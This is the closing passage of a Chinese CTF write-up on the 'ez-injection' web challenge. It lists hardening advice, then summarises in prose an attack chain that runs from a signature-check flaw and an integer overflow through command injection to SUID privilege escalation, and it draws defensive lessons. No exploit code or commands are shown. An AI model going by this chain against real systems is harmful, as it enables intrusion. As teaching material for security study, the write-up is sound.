  4. 及时更新系统和软件:定期更新Linux系统和PHP、Nginx/Apache等软件的版本,修复已知的安全漏洞;
  5. 做渗透测试:在业务上线前,进行专业的渗透测试,模拟攻击者的行为,发现并修复潜在的安全漏洞。

七、结语

ez-injection赛题是一道典型的多漏洞叠加的Web安全综合题 ,其漏洞链从签名验证的逻辑漏洞开始,到协议解析的整数溢出,再到命令注入和SUID提权,最终实现root权限flag文件的读取。整个攻击链路无需复杂的加密破解或0day漏洞,所有漏洞均源于开发人员和运维人员的细节疏忽安全意识不足

这道赛题也给Web安全开发和运维带来了重要的启示:安全是一个系统性的工程,而非单一的技术点。一个看似完善的鉴权机制,可能因一个异常处理的疏忽被完全绕过;一个自定义的内部协议,可能因未做长度检查导致协议走私;一个不经意的SUID权限配置,可能成为攻击者提权的突破口。

在实际的Web开发和运维中,需始终秉持**"安全左移""最小权限"**的原则,将安全融入到代码编写、协议设计、系统配置、运维部署的每一个环节:开发人员需掌握编程语言的特性,编写鲁棒的代码,做好异常处理和输入校验;协议设计人员需遵循成熟的安全准则,做好协议的完整性和合法性校验;运维人员需严格配置系统权限,定期审计和加固系统,及时发现并修复漏洞。

只有从代码、协议、系统、运维 四个层面构建全方位的安全防御体系,才能真正抵御攻击者的入侵,保障Web服务的安全稳定运行。而对于安全从业者来说,这道赛题也让我们认识到:漏洞挖掘的核心不仅是技术的掌握,更是对细节的关注和对攻击链路的思考,只有从攻击者的角度出发,才能发现并修复那些隐藏在细节中的安全漏洞。

相关推荐
Yan.973 天前
ez-rce 题目深度分析与个人解题反思
渗透
Yan.973 天前
舒克和贝塔全维度深度技术手册
渗透
Yan.973 天前
ezupload 题目详细分析与经验总结
渗透
qianshang23312 天前
SQL注入学习总结
网络·数据库·渗透
妤......15 天前
渗透高级课第二次作业
安全·渗透
缘木之鱼23 天前
CTFshow __Web应用安全与防护 第二章
前端·安全·渗透·ctf·ctfshow
缘木之鱼24 天前
CTFshow __Web应用安全与防护 第一章
前端·安全·渗透·ctf·ctfshow
tangyal24 天前
渗透笔记1
笔记·网络安全·渗透
汉堡包0011 个月前
【面试总结】--红队实习岗(1)
安全·面试·渗透